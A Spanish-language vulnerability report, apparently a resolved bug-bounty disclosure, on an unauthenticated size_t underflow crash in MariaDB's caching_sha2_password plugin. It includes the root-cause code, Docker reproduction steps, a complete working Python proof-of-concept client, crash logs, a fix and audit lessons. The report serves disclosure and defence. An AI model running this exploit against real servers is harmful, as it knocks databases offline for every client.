Resumen
El plugin de servidor caching_sha2_password (auth_mysql_sha2) de MariaDB tenía un fallo de verificación de contraseña que permitía a un cliente sin autenticar cerrar por completo el servidor con una sola conexión. No hacía falta ninguna credencial válida: el bloqueo ocurría durante la verificación de la contraseña, antes de cualquier comparación.
La raíz del problema es un underflow de un entero sin signo. Cuando el cliente se conecta por TCP en claro (sin TLS), el servidor descifra con RSA la respuesta de contraseña del cliente y fija pkt_len = (int)plain_text_len sin comprobar que el texto descifrado no esté vacío. Acto seguido llama a sha256_crypt_r(pkt, pkt_len - 1, ...), donde ese segundo parámetro es de tipo size_t. Si un atacante cifra con RSA-OAEP un mensaje de longitud cero usando la clave pública del servidor, plain_text_len vale 0, de modo que pkt_len - 1 da la vuelta y se convierte en SIZE_MAX. La rutina de SHA-256 intenta entonces leer SIZE_MAX bytes a partir de un pequeño búfer de pila: lectura fuera de límites, SIGSEGV y caída del servidor para todos los clientes.
Causa raíz
En plugin/auth_mysql_sha2/mysql_sha2.c, dentro de la función auth() del servidor:
unsigned char plain_text[1025];
size_t plain_text_len = sizeof(plain_text) - 1;
...
if (vio_info.protocol == MYSQL_VIO_TCP && !vio_info.tls) { // plaintext TCP + RSA keys
... // (server serves public key on request '\2')
if (ssl_decrypt(private_key, pkt, pkt_len, plain_text, &plain_text_len)) // OAEP; sets len=0 for empty msg
return CR_ERROR;
for (size_t i=0; i < plain_text_len; i++) plain_text[i]^= scramble[i % SCRAMBLE_LENGTH];
pkt = plain_text;
pkt_len = (int)plain_text_len; // attacker-controlled -> 0
}
authstr = (struct digest*)info->auth_string;
sha256_crypt_r(pkt, pkt_len-1, authstr->salt, sizeof(authstr->salt), to, authstr->iterations); // 0-1 -> (size_t)-1
El descifrado (ssl_decrypt) usa relleno RSA_PKCS1_OAEP_PADDING y devuelve fielmente dstlen = 0 cuando el mensaje OAEP cifrado estaba vacío, así que plain_text_len acaba valiendo 0. No existe ninguna comprobación de pkt_len <= 0 ni de plain_text_len == 0 antes de la resta pkt_len - 1.
El desenlace está en sha256_crypt_r, en plugin/auth_mysql_sha2/sha256crypt.c:
unsigned char *p_bytes = my_safe_alloca(key_len); // my_malloc(SIZE_MAX) -> NULL
my_sha256_multi(alt, key, key_len, salt, salt_len, key, key_len, NULL); // reads key_len=SIZE_MAX bytes -> OOB
Con key_len == SIZE_MAX, la reserva de memoria falla y la rutina de SHA-256 recorre SIZE_MAX bytes desde el búfer, provocando la lectura fuera de límites.
Pasos de reproducción
Condiciones previas (una configuración normal de compatibilidad con MySQL: caching_sha2_password en uso sobre TCP en claro y con claves RSA presentes):
- Cargar el plugin:
INSTALL SONAME 'auth_mysql_sha2'; - Reiniciar el servidor para que el plugin se cargue al arrancar y se generen sus claves RSA automáticamente (
caching_sha2_password_auto_generate_rsa_keys=ONpor defecto creaprivate_key.pemypublic_key.pemen el directorio de datos). Las claves no se generan con unINSTALLen caliente, por eso hace falta este reinicio. - Crear una cuenta que autentique con el plugin y con una contraseña asignada (hacerlo después del paso 2 para que el hash se almacene bien):
CREATE USER sha2u@'%' IDENTIFIED VIA caching_sha2_password USING PASSWORD('secret123');. Comprobar conSHOW CREATE USER sha2u@'%';que aparece un hashUSING '$A$005$…'no vacío.
Después, como cliente de red sin autenticar (sin contraseña válida), se conduce el intercambio de autenticación completa de caching_sha2_password sobre TCP en claro y, en el último paso, se envía una cifra RSA-OAEP de un mensaje vacío en lugar de una contraseña cifrada. En resumen: conectar → declarar el usuario sha2u (el servidor hace AuthSwitch a caching_sha2_password) → enviar una primera respuesta de 32 bytes (pasa el filtro pkt_len == SHA256_DIGEST_LENGTH) → el servidor responde perform_full_authentication → pedir la clave pública → enviar OAEP(b""). Así plain_text_len queda en 0 y pkt_len - 1 hace underflow a SIZE_MAX.
Secuencia completa con contenedor Docker:
# 1. start MariaDB 12.3.2, wait until ready
docker rm -f mariadb 2>/dev/null
docker run -d --name mariadb -e MARIADB_ROOT_PASSWORD=root -p 127.0.0.1:13306:3306 mariadb:latest
until docker exec mariadb mariadb -uroot -proot -e "SELECT 1" >/dev/null 2>&1; do sleep 2; done
# 2. install the plugin
docker exec mariadb mariadb -uroot -proot -e "INSTALL SONAME 'auth_mysql_sha2';"
# 3. RESTART so the plugin loads at startup -> auto-generates the RSA keys
docker restart mariadb
until docker exec mariadb mariadb -uroot -proot -e "SELECT 1" >/dev/null 2>&1; do sleep 2; done
docker exec mariadb sh -c 'ls /var/lib/mysql/*.pem' # must show private_key.pem + public_key.pem
# 4. NOW create the user (plugin healthy -> hash is stored correctly)
docker exec mariadb mariadb -uroot -proot -e \
"CREATE USER sha2u@'%' IDENTIFIED VIA caching_sha2_password USING PASSWORD('secret123');"
docker exec mariadb mariadb -uroot -proot -e "SHOW CREATE USER sha2u@'%';" # must show ... USING '\$A\$005\$...'(non-empty hash)
# 5. fire the PoC (unauthenticated, no password) and confirm the crash
docker exec mariadb mariadb -uroot -proot -e "SELECT 'UP_BEFORE' s;"
python3 poc/poc_sha2_min.py # -> [+] connection died after ciphertext (= SIGSEGV)
docker inspect mariadb --format 'exit={{.State.ExitCode}}'# -> exit=139
Prueba de concepto (poc_sha2_min.py), un cliente de protocolo crudo que habla directamente con el servidor:
#!/usr/bin/env python3
# MariaDB caching_sha2_password pre-auth DoS (size_t underflow), minimal PoC.
# Sends an RSA-OAEP encryption of an EMPTY message -> server computes
# sha256_crypt_r(pkt, pkt_len-1 = SIZE_MAX) -> my_sha256_multi OOB read -> SIGSEGV.
# Precondition: target has a caching_sha2_password account; plaintext TCP; RSA keys (auto-generated by default).
# No valid password required (crash happens before credential comparison).
import socket, struct
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes, serialization
s = socket.create_connection(("127.0.0.1", 13306)) # 1. connect to MariaDB
def recv(): # read one packet: [3B length][1B seq][payload]
h = s.recv(4)
if len(h) < 4: raise EOFError("server closed early (setup issue: sha2u needs a valid "
"caching_sha2_password hash AND RSA keys must exist)")
n = h[0] | h[1] << 8 | h[2] << 16; return h[3], s.recv(n)
def send(seq, body): # send one packet with the given sequence number
s.sendall(struct.pack("<I", len(body))[:3] + bytes([seq & 255]) + body)
seq, _ = recv() # 2. read the server handshake
caps = 1 | 0x200 | 0x8000 | 0x80000 # LONG_PASSWORD|PROTOCOL_41|SECURE_CONN|PLUGIN_AUTH
hsr = struct.pack("<IIB", caps, 0xFFFFFF, 45) + b"\x00"*23 \
+ b"sha2u\x00" + b"\x00" + b"mysql_native_password\x00" # declare user 'sha2u', empty auth response
send(seq + 1, hsr) # 3. -> server issues AuthSwitch to caching_sha2_password
seq, _ = recv() # 4. read AuthSwitchRequest
send(seq + 1, b"A" * 32) # 5. send exactly 32 bytes (passes the pkt_len==SHA256_DIGEST_LENGTH gate)
seq, _ = recv() # 6. server replies \x04 (perform_full_authentication)
send(seq + 1, b"\x02") # 7. request the RSA public key (request_public_key)
seq, p = recv() # 8. server returns the public key (0x01-prefixed)
pub = serialization.load_pem_public_key(p[1:] if p[:1] == b"\x01" else p)
ct = pub.encrypt(b"", padding.OAEP( # 9. *** RSA-OAEP encryption of an EMPTY message ***
mgf=padding.MGF1(hashes.SHA1()), algorithm=hashes.SHA1(), label=None))
send(seq + 1, ct) # 10. send -> plain_text_len=0 -> pkt_len-1=SIZE_MAX -> crash
try: recv(); print("server replied — NO crash (unexpected)")
except Exception as e: print(f"[+] connection died after ciphertext: {e!r} (= server SIGSEGV)")
Resultado observado en vivo sobre la imagen oficial mariadb:12.3.2:
260603 19:27:08 [ERROR] mariadbd got signal 11 ;
... libcrypto SHA256_Update+0x12e
my_sha256_multi+0xee
auth_mysql_sha2.so(sha256_crypt_r+0x1db)
acl_authenticate ... do_handle_one_connection ... handle_one_connection
El contenedor queda en estado Exited (139) (es decir, 128 + SIGSEGV, sin que sea una muerte por falta de memoria). Todo el servidor cae para todos los clientes y solo se recupera al reiniciarlo.
Impacto
Cualquier cliente de red capaz de alcanzar el puerto 3306 podía tumbar la instancia completa de MariaDB con una sola conexión y sin credenciales válidas, siempre que alguna cuenta usara caching_sha2_password (algo típico en despliegues compatibles con MySQL) y no se forzara TLS en la conexión. El resultado es una denegación de servicio total para todos los clientes, trivialmente repetible.
Remediación
En auth() de mysql_sha2.c, rechazar una respuesta descifrada vacía o demasiado corta antes de la resta, por ejemplo con if (pkt_len < 1) return CR_ERROR; tras el bloque de descifrado (y tras el read_packet de la ruta sin RSA). Como defensa adicional, hacer que sha256_crypt_r trate con seguridad el caso key_len == 0. El reporte también sugiere añadir una prueba de regresión que envíe un mensaje vacío cifrado con OAEP contra una cuenta caching_sha2_password.
El programa marcó el informe como resuelto. Se clasificó con severidad media (debilidad "Integer Underflow").
Qué aprender de este caso
- Cuando una longitud de tipo sin signo (
size_t,unsigned int) llega a una resta comolen - 1, revisa si existe un camino en el quelenpueda ser0: el resultado no es-1, es el valor máximo del tipo. Audita en especial las longitudes que salen de un descifrado, una descompresión o un parseo, donde el valor cero es perfectamente legítimo. - El
castpkt_len = (int)plain_text_lenconvierte un valor controlado por el atacante en el índice/tamaño de una operación de memoria sin validarlo antes. Busca este patrón en rutinas de autenticación: la comprobación de longitud debe ir justo después de obtener el dato y antes de usarlo en aritmética o reservas. - Las funciones de descifrado RSA-OAEP devuelven con normalidad una longitud de
0para un mensaje vacío; no asumas que un descifrado correcto implica datos no vacíos. Comprueba explícitamente la longitud devuelta antes de operar con ella. - Este fallo se dispara antes de comparar credenciales, así que "requiere autenticación" no lo protege: al revisar código de login, trata todo lo que ocurre antes de la verificación de la contraseña como superficie de ataque alcanzable sin autenticar.